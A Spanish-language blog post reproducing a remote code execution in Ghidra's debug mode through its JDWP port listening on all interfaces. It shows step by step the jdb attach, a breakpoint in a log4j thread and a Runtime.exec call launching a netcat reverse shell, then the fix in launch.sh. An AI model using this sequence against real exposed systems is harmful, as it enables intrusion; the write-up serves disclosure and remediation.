Probando el RCE de Ghidra en modo debug

Una de las herramientas más esperadas en las últimas semanas (y probablemente de todo el año) es Ghidra, la herramienta de reversing que recientemente ha publicado la NSA. Está claro que todavía no tiene tantos módulos y file loaders como IDA y, sobretodo, no dispone de debugger (al menos esta versión pública) pero el code browser, el decompilador que funciona con numerosos procesadores, las posibilidades de colaboración y, sobretodo, la liberación del código fuente le hacen ser una herramienta más que interesante.

Pero aún con el código a disposición del público no se han podido evitar suspicacias (hablamos de la NSA) y es que, a poco de publicarse la herramienta, Hackerfantastic encontró una vulnerabilidad de RCE a través del puerto de depuración de JDWP. Que más que una vulnerabilidad es un pequeño "descuido" ya que la configuración por defecto abre el puerto de debug de JDWP, el 18001, a todos los interfaces cuando se ejecuta la herramienta especificamente en modo depuración.

Veamos qué fácil es reproducirlo. Primero lanzamos la herramienta en modo debug (carpeta 'debug'):
user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

Si escanemos los puertos vemos que se ha levantado el puerto de debug:
# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

Y aquí lo sorprendente, podemos comprobar como el puerto 18001 está escuchando en todos los interfaces (0.0.0.0):
user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN     
tcp6       0      0 :::18002                :::*                    LISTEN     

Con lo cual, si desde una máquina remota podemos attachar el debugger de Java al servidor corriendo Ghidra (recordar, lanzado en modo debug):
# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

Una vez dentro, podemos comprobar el classpath:
> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

Y dentro de las clases disponibles nos fijamos en las "runnables":
> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

Seteamos un breakpoint en la clase en cuestión:
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

Esperamos un rato breve:
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Levantamos un netcat a la escucha y ejecutamos lo siguiente para obtener la shell reversa:
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1] 

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ 

Como véis un pequeño "descuido" como decimos, que puede corregirse fácilmente cambiando el "*" por "127.0.0.1" en el fichero de configuración launch.sh:
user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

Comentarios